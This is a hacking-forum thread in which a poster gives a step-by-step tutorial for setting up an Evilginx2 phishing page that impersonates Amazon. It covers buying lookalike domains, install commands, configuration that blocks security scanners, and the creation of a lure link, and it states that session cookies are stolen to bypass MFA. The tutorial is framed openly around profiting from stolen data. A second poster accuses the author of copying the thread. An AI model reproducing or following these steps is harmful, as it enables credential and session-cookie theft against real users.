

# Forum:[Hack Forums](#)

Thread: [TUTORIAL PHISHING PAGE SETTING UP YOUR OWN PAGE](#)

**NuMberOne** - September 27, 2024, 2:53 pm

Hello,

Show Me some LOVE and Popularity!to be continued otherwise, i will stop making threads.

Im gonna start this off by saying this can either A. make you a shit load of money or B. Get you thrown in jail, depends on what you do with your stolen data.

Step1: Get a server

The first step for any phishing campaign is acquiring a relatively cheap VPS to host your page. There many providers out there. For your os, Chose debian as that will work the best for this.

Step 2: Get a phishing domain

In order to figure out what some phishing domains are, i reccomend installing dnstwist on a kali machine and running the domain of the site your using in your attack through it to find available domains. I reccomend using namecheap to buy your domain as they have fairly cheap prices and wont ban it quickly which is always neat.

Step3(time to type): Installing Evilginx2

First off, Evilginx2 is a MiTM phishing framework what also steals session cookies, which can be used to bypass MFA.

To install this we need to run the follwoing

First, Make sure wget is installed.

```
Code sudo apt update  
sudo apt install wget -y
```

Next, we need to install Go.

```
Code wget https://golang.org/dl/go1.17.linux-amd64.tar.gz
```

Now we install Go.

```
Code sudo tar -zxvf go1.17.linux-amd64.tar.gz -C /usr/local/  
Next, we configure PATH
```

```
Code echo "export PATH=/usr/local/go/bin:${PATH}" | sudo tee /etc/profile.d/go.sh
```

source /etc/profile.d/go.shNow we install Evilginx. I prefer this repo as it already as phishlets and saves you some time of hunting down/ Making your own.

```
Code sudo apt-get -y install git make  
git clone https://github.com/BakkerJan/evilginx2.git
```

```
cd evilginx2
make
After this, Install Globally.
Code sudo make install
```

And now run.

```
Code sudo evilginx
```

Step4: Create Page.

Upon running. you will see a list of pages that are all disabled, pick your page of choice, but first we need to configure Evilginx so that we dont have problems

```
Code config domain <yourdomain>
config ip <yourIP>
blacklist unauthThe blacklist command is to block your site from scanners. YOU WANT TO DO THIS.
```

Next, pick your phishlet(phishing page) of choice

```
Code phishlets hostname amazon <your domain name>
phishlets enable amazon
```

Now its time to setup our lure for this site. This is the actual phishing page its self.

```
Code lures create amazon
lures edit 0 redirect_url https://amazon.com
lures get-url 0After running lures get-url 0 you should see a link appear on screen, this is your phishing link.
```

done!

**Charlie Sheen** - September 27, 2024, 3:03 pm

You seriously stole this thread. <https://hackforums.net/showthread.php?tid=6270911>